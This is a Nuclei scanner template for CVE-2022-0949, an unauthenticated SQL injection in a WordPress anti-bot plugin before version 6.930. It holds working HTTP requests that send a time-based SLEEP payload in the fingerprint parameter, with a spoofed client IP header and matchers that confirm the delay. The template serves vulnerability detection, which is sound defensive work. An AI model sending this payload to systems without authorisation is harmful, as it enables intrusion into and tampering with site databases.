nuclei-templates/cves/2022/CVE-2022-0949.yaml

id: CVE-2022-0949

info:
  name: WP Block and Stop Bad Bots < 6.930 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection WordPress plugin before 6.930 does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users, leading to a SQL injection.
  remediation: Fixed in version 6.930
  reference:
    - https://wpscan.com/vulnerability/a0fbb79a-e160-49df-9cf2-18ab64ea66cb
    - https://wordpress.org/plugins/stopbadbots/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0949
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0949
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,stopbadbots,wp-plugin,wp,unauth,wpscan,cve2022,sqli,wordpress

variables:
  IP: '{{rand_ip("1.1.1.0/24")}}'

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded

        action=stopbadbots_grava_fingerprint&fingerprint=0

      - |
        @timeout 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Real-IP: {{IP}}
        Content-Type: application/x-www-form-urlencoded

        action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(6))

      - |
        GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "commentform")'
        condition: and